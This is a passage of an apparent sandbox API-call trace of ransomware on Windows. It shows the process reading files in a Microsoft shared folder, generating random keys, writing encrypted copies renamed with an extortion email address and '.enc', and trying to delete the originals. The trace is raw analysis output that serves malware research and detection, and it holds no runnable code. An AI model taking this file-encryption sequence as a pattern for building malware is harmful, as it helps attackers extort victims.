hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.199] GetLastError () returned 0x0 [0121.199] GetLastError () returned 0x0 [0121.199] GetCurrentThreadId () returned 0x9b0 [0121.199] GetLastError () returned 0x0 [0121.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0121.199] GetLastError () returned 0x0 [0121.199] GetLastError () returned 0x0 [0121.199] GetCurrentThreadId () returned 0x9b0 [0121.199] GetLastError () returned 0x0 [0121.199] GetLastError () returned 0x0 [0121.201] GetLastError () returned 0x0 [0121.201] GetCurrentThreadId () returned 0x9b0 [0121.201] GetLastError () returned 0x0 [0121.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de568 | out: hHeap=0x2ad0000) returned 1 [0121.201] GetCurrentThreadId () returned 0x9b0 [0121.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9f8) returned 0x3184a48 [0121.202] GetLastError () returned 0x0 [0121.202] GetLastError () returned 0x0 [0121.202] GetLastError () returned 0x0 [0121.202] GetLastError () returned 0x0 [0121.202] GetCurrentThreadId () returned 0x9b0 [0121.202] GetLastError () returned 0x0 [0121.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3184a48 | out: hHeap=0x2ad0000) returned 1 [0121.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0121.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0121.202] GetLastError () returned 0x0 [0121.203] GetLastError () returned 0x0 [0121.203] GetCurrentThreadId () returned 0x9b0 [0121.203] GetLastError () returned 0x0 [0121.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3187268 | out: hHeap=0x2ad0000) returned 1 [0121.203] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f48 [0121.203] GetLastError () returned 0x0 [0121.203] GetLastError () returned 0x0 [0121.203] GetCurrentThreadId () returned 0x9b0 [0121.203] GetLastError () returned 0x0 [0121.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f48 | out: hHeap=0x2ad0000) returned 1 [0121.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.204] GetLastError () returned 0x0 [0121.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.205] CloseHandle (hObject=0x3ac) returned 1 [0121.205] GetLastError () returned 0x0 [0121.205] GetCurrentThreadId () returned 0x9b0 [0121.205] GetLastError () returned 0x0 [0121.205] GetLastError () returned 0x0 [0121.205] CloseHandle (hObject=0x39c) returned 1 [0121.205] GetLastError () returned 0x0 [0121.205] GetCurrentThreadId () returned 0x9b0 [0121.205] GetLastError () returned 0x0 [0121.206] GetLastError () returned 0x0 [0121.206] GetLastError () returned 0x0 [0121.206] GetLastError () returned 0x0 [0121.206] GetLastError () returned 0x0 [0121.206] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0 [0121.206] GetLastError () returned 0x5 [0121.206] GetCurrentThreadId () returned 0x9b0 [0121.206] GetLastError () returned 0x5 [0121.206] GetLastError () returned 0x5 [0121.206] GetLastError () returned 0x5 [0121.207] GetLastError () returned 0x5 [0121.207] LocalFree (hMem=0x1053cb0) returned 0x0 [0121.207] GetCurrentThreadId () returned 0x9b0 [0121.207] GetLastError () returned 0x5 [0121.207] GetLastError () returned 0x5 [0121.207] GetLastError () returned 0x5 [0121.207] GetLastError () returned 0x5 [0121.207] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml", lpFilePart=0x9bada4*="ipskor.xml") returned 0x3d [0121.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.207] GetCurrentThreadId () returned 0x9b0 [0121.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0121.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0121.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea408 [0121.208] GetLastError () returned 0x0 [0121.208] GetLastError () returned 0x0 [0121.208] GetLastError () returned 0x0 [0121.208] GetLastError () returned 0x0 [0121.208] GetCurrentThreadId () returned 0x9b0 [0121.208] GetLastError () returned 0x0 [0121.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea408 | out: hHeap=0x2ad0000) returned 1 [0121.209] GetCurrentThreadId () returned 0x9b0 [0121.209] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea138 [0121.209] GetLastError () returned 0x0 [0121.209] GetLastError () returned 0x0 [0121.209] GetLastError () returned 0x0 [0121.209] GetLastError () returned 0x0 [0121.209] GetCurrentThreadId () returned 0x9b0 [0121.209] GetLastError () returned 0x0 [0121.209] GetLastError () returned 0x0 [0121.209] GetLastError () returned 0x0 [0121.209] GetLastError () returned 0x0 [0121.210] GetLastError () returned 0x0 [0121.210] GetCurrentThreadId () returned 0x9b0 [0121.210] GetLastError () returned 0x0 [0121.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea138 | out: hHeap=0x2ad0000) returned 1 [0121.210] GetLastError () returned 0x0 [0121.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0121.211] GetLastError () returned 0x0 [0121.211] GetLastError () returned 0x0 [0121.211] GetLastError () returned 0x0 [0121.211] GetCurrentThreadId () returned 0x9b0 [0121.211] GetLastError () returned 0x0 [0121.211] GetCurrentThreadId () returned 0x9b0 [0121.211] GetLastError () returned 0x0 [0121.211] GetLastError () returned 0x0 [0121.211] GetLastError () returned 0x0 [0121.211] GetLastError () returned 0x0 [0121.211] GetCurrentThreadId () returned 0x9b0 [0121.212] GetLastError () returned 0x0 [0121.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0121.212] GetLastError () returned 0x0 [0121.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0121.212] GetLastError () returned 0x0 [0121.212] GetLastError () returned 0x0 [0121.212] GetLastError () returned 0x0 [0121.212] GetCurrentThreadId () returned 0x9b0 [0121.212] GetLastError () returned 0x0 [0121.212] GetLastError () returned 0x0 [0121.213] GetLastError () returned 0x0 [0121.213] GetLastError () returned 0x0 [0121.213] GetLastError () returned 0x0 [0121.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.213] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08)) returned 1 [0121.213] GetLastError () returned 0x0 [0121.213] GetCurrentThreadId () returned 0x9b0 [0121.213] GetLastError () returned 0x0 [0121.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0121.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0121.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0121.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0121.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0121.214] GetCurrentThreadId () returned 0x9b0 [0121.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.214] GetLastError () returned 0x0 [0121.214] GetLastError () returned 0x0 [0121.214] GetLastError () returned 0x0 [0121.214] GetLastError () returned 0x0 [0121.214] GetCurrentThreadId () returned 0x9b0 [0121.214] GetLastError () returned 0x0 [0121.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea1b0 [0121.215] GetCurrentThreadId () returned 0x9b0 [0121.215] GetLastError () returned 0x0 [0121.215] GetLastError () returned 0x0 [0121.215] GetLastError () returned 0x0 [0121.215] GetLastError () returned 0x0 [0121.215] GetCurrentThreadId () returned 0x9b0 [0121.215] GetLastError () returned 0x0 [0121.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1b0 | out: hHeap=0x2ad0000) returned 1 [0121.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de578 [0121.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5670 | out: hHeap=0x2ad0000) returned 1 [0121.216] GetLastError () returned 0x0 [0121.216] GetLastError () returned 0x0 [0121.216] GetLastError () returned 0x0 [0121.216] GetLastError () returned 0x0 [0121.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0121.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4b8 [0121.216] GetLastError () returned 0x0 [0121.216] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.216] GetFileType (hFile=0x39c) returned 0x1 [0121.217] GetLastError () returned 0x0 [0121.217] GetCurrentThreadId () returned 0x9b0 [0121.217] GetLastError () returned 0x0 [0121.217] GetFileType (hFile=0x39c) returned 0x1 [0121.217] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.217] GetLastError () returned 0x0 [0121.218] GetCurrentThreadId () returned 0x9b0 [0121.218] GetLastError () returned 0x0 [0121.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4b8 | out: hHeap=0x2ad0000) returned 1 [0121.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0121.218] GetLastError () returned 0x0 [0121.218] GetLastError () returned 0x0 [0121.218] GetLastError () returned 0x0 [0121.218] GetLastError () returned 0x0 [0121.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.218] GetLastError () returned 0x0 [0121.218] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.220] GetFileType (hFile=0x3ac) returned 0x1 [0121.220] GetLastError () returned 0x0 [0121.220] GetCurrentThreadId () returned 0x9b0 [0121.220] GetLastError () returned 0x0 [0121.220] GetFileType (hFile=0x3ac) returned 0x1 [0121.220] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.221] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.221] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.221] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.221] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.221] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.221] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.221] GetLastError () returned 0x0 [0121.221] GetCurrentThreadId () returned 0x9b0 [0121.221] GetLastError () returned 0x0 [0121.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0121.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.222] GetLastError () returned 0x0 [0121.222] GetLastError () returned 0x0 [0121.222] GetCurrentThreadId () returned 0x9b0 [0121.222] GetLastError () returned 0x0 [0121.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.222] GetLastError () returned 0x0 [0121.222] GetLastError () returned 0x0 [0121.222] GetCurrentThreadId () returned 0x9b0 [0121.222] GetLastError () returned 0x0 [0121.222] GetLastError () returned 0x0 [0121.224] GetLastError () returned 0x0 [0121.224] GetCurrentThreadId () returned 0x9b0 [0121.224] GetLastError () returned 0x0 [0121.224] GetCurrentThreadId () returned 0x9b0 [0121.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de568 [0121.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0121.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa28) returned 0x35cad28 [0121.224] GetLastError () returned 0x0 [0121.225] GetLastError () returned 0x0 [0121.225] GetLastError () returned 0x0 [0121.225] GetLastError () returned 0x0 [0121.225] GetCurrentThreadId () returned 0x9b0 [0121.225] GetLastError () returned 0x0 [0121.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cad28 | out: hHeap=0x2ad0000) returned 1 [0121.225] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.225] GetLastError () returned 0x0 [0121.225] GetLastError () returned 0x0 [0121.225] GetCurrentThreadId () returned 0x9b0 [0121.225] GetLastError () returned 0x0 [0121.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cb7b0 | out: hHeap=0x2ad0000) returned 1 [0121.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f78 [0121.226] GetLastError () returned 0x0 [0121.226] GetLastError () returned 0x0 [0121.226] GetCurrentThreadId () returned 0x9b0 [0121.226] GetLastError () returned 0x0 [0121.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f78 | out: hHeap=0x2ad0000) returned 1 [0121.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.226] GetLastError () returned 0x0 [0121.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.227] CloseHandle (hObject=0x3ac) returned 1 [0121.228] GetLastError () returned 0x0 [0121.228] GetCurrentThreadId () returned 0x9b0 [0121.228] GetLastError () returned 0x0 [0121.228] GetLastError () returned 0x0 [0121.228] CloseHandle (hObject=0x39c) returned 1 [0121.228] GetLastError () returned 0x0 [0121.228] GetCurrentThreadId () returned 0x9b0 [0121.228] GetLastError () returned 0x0 [0121.228] GetLastError () returned 0x0 [0121.228] GetLastError () returned 0x0 [0121.229] GetLastError () returned 0x0 [0121.229] GetLastError () returned 0x0 [0121.229] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0 [0121.229] GetLastError () returned 0x5 [0121.229] GetCurrentThreadId () returned 0x9b0 [0121.229] GetLastError () returned 0x5 [0121.229] GetLastError () returned 0x5 [0121.229] GetLastError () returned 0x5 [0121.229] GetLastError () returned 0x5 [0121.230] LocalFree (hMem=0x1053cd0) returned 0x0 [0121.230] GetCurrentThreadId () returned 0x9b0 [0121.230] GetLastError () returned 0x5 [0121.230] GetLastError () returned 0x5 [0121.230] GetLastError () returned 0x5 [0121.230] GetLastError () returned 0x5 [0121.230] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll", lpFilePart=0x9bada4*="IpsMigrationPlugin.dll") returned 0x49 [0121.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.230] GetCurrentThreadId () returned 0x9b0 [0121.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0121.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0121.231] GetLastError () returned 0x5 [0121.231] GetLastError () returned 0x5 [0121.231] GetLastError () returned 0x5 [0121.231] GetLastError () returned 0x5 [0121.231] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", lpFilePart=0x9bada4*="ipsnld.xml") returned 0x3d [0121.231] GetCurrentThreadId () returned 0x9b0 [0121.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0121.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0121.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0121.231] GetCurrentThreadId () returned 0x9b0 [0121.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea070 [0121.232] GetLastError () returned 0x0 [0121.232] GetLastError () returned 0x0 [0121.232] GetLastError () returned 0x0 [0121.232] GetLastError () returned 0x0 [0121.232] GetCurrentThreadId () returned 0x9b0 [0121.232] GetLastError () returned 0x0 [0121.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea070 | out: hHeap=0x2ad0000) returned 1 [0121.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4a8 [0121.232] GetLastError () returned 0x0 [0121.232] GetLastError () returned 0x0 [0121.233] GetLastError () returned 0x0 [0121.233] GetLastError () returned 0x0 [0121.233] GetCurrentThreadId () returned 0x9b0 [0121.233] GetLastError () returned 0x0 [0121.233] GetCurrentThreadId () returned 0x9b0 [0121.233] GetLastError () returned 0x0 [0121.233] GetLastError () returned 0x0 [0121.233] GetLastError () returned 0x0 [0121.233] GetLastError () returned 0x0 [0121.233] GetCurrentThreadId () returned 0x9b0 [0121.233] GetLastError () returned 0x0 [0121.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4a8 | out: hHeap=0x2ad0000) returned 1 [0121.234] GetLastError () returned 0x0 [0121.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0121.234] GetLastError () returned 0x0 [0121.234] GetLastError () returned 0x0 [0121.234] GetLastError () returned 0x0 [0121.234] GetCurrentThreadId () returned 0x9b0 [0121.234] GetLastError () returned 0x0 [0121.234] GetLastError () returned 0x0 [0121.234] GetLastError () returned 0x0 [0121.234] GetLastError () returned 0x0 [0121.234] GetLastError () returned 0x0 [0121.235] GetCurrentThreadId () returned 0x9b0 [0121.235] GetLastError () returned 0x0 [0121.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0121.235] GetLastError () returned 0x0 [0121.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0121.235] GetLastError () returned 0x0 [0121.235] GetLastError () returned 0x0 [0121.235] GetLastError () returned 0x0 [0121.235] GetCurrentThreadId () returned 0x9b0 [0121.235] GetLastError () returned 0x0 [0121.235] GetLastError () returned 0x0 [0121.235] GetLastError () returned 0x0 [0121.236] GetLastError () returned 0x0 [0121.236] GetLastError () returned 0x0 [0121.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.236] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42)) returned 1 [0121.236] GetLastError () returned 0x0 [0121.236] GetCurrentThreadId () returned 0x9b0 [0121.236] GetLastError () returned 0x0 [0121.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0121.236] GetCurrentThreadId () returned 0x9b0 [0121.237] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0121.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0121.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0121.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0121.237] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2f0 [0121.237] GetCurrentThreadId () returned 0x9b0 [0121.237] GetLastError () returned 0x0 [0121.237] GetLastError () returned 0x0 [0121.237] GetLastError () returned 0x0 [0121.237] GetLastError () returned 0x0 [0121.237] GetCurrentThreadId () returned 0x9b0 [0121.237] GetLastError () returned 0x0 [0121.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2f0 | out: hHeap=0x2ad0000) returned 1 [0121.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea250 [0121.238] GetLastError () returned 0x0 [0121.238] GetLastError () returned 0x0 [0121.238] GetLastError () returned 0x0 [0121.238] GetLastError () returned 0x0 [0121.238] GetCurrentThreadId () returned 0x9b0 [0121.238] GetLastError () returned 0x0 [0121.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea250 | out: hHeap=0x2ad0000) returned 1 [0121.238] GetCurrentThreadId () returned 0x9b0 [0121.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de608 [0121.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3f78 | out: hHeap=0x2ad0000) returned 1 [0121.239] GetLastError () returned 0x0 [0121.239] GetLastError () returned 0x0 [0121.239] GetLastError () returned 0x0 [0121.239] GetLastError () returned 0x0 [0121.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de4b8 [0121.239] GetLastError () returned 0x0 [0121.239] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.239] GetFileType (hFile=0x39c) returned 0x1 [0121.240] GetLastError () returned 0x0 [0121.240] GetCurrentThreadId () returned 0x9b0 [0121.240] GetLastError () returned 0x0 [0121.240] GetFileType (hFile=0x39c) returned 0x1 [0121.240] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.240] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.240] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.240] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.240] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.240] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, 